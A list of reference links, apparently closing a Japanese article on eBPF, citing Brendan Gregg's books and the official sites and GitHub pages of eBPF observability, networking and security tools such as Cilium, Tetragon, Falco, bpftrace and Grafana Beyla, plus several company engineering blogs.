- [Brendan Gregg — BPF Performance Tools (Addison-Wesley, 2019)](https://www.brendangregg.com/bpf-performance-tools-book.html)

- [Brendan Gregg — Systems Performance 第 2 版](https://www.brendangregg.com/systems-performance-2nd-edition-book.html)

- [Pixie 公式](https://px.dev/)

- [Pixie GitHub](https://github.com/pixie-io/pixie)

- [Parca 公式](https://www.parca.dev/)

- [Polar Signals ブログ](https://www.polarsignals.com/blog)

- [Cilium 公式](https://cilium.io/)

- [Hubble GitHub](https://github.com/cilium/hubble)

- [Tetragon 公式](https://tetragon.io/)

- [Tetragon GitHub](https://github.com/cilium/tetragon)

- [BCC GitHub](https://github.com/iovisor/bcc)

- [bpftrace GitHub](https://github.com/bpftrace/bpftrace)

- [OpenTelemetry eBPF GitHub](https://github.com/open-telemetry/opentelemetry-ebpf)

- [Grafana Beyla 公式](https://grafana.com/oss/beyla-ebpf/)

- [Grafana Beyla GitHub](https://github.com/grafana/beyla)

- [Grafana Pyroscope](https://grafana.com/oss/pyroscope/)

- [Coroot 公式](https://coroot.com/)

- [Coroot GitHub](https://github.com/coroot/coroot)

- [Inspektor Gadget 公式](https://www.inspektor-gadget.io/)

- [Kepler 公式](https://sustainable-computing.io/)

- [Kepler GitHub](https://github.com/sustainable-computing-io/kepler)

- [Falco 公式](https://falco.org/)

- [Falco GitHub](https://github.com/falcosecurity/falco)

- [eBPF for Windows GitHub](https://github.com/microsoft/ebpf-for-windows)

- [Asahi Linux](https://asahilinux.org/)

- [sched_ext 公式](https://sched-ext.com/)

- [BTFHub — 古いカーネル用 BTF](https://github.com/aquasecurity/btfhub)

- [Toss SLASH 24 — Cilium 採用事例](https://toss.tech/slash-24)

- [LINE Engineering ブログ](https://engineering.linecorp.com/ja)

- [Mercari Engineering ブログ](https://engineering.mercari.com/)

- [eBPF Summit](https://ebpf.io/summit-2024/)

- [CNCF Landscape — Observability and Analysis](https://landscape.cncf.io/)

- [Isovalent (Cisco) ブログ](https://isovalent.com/blog/)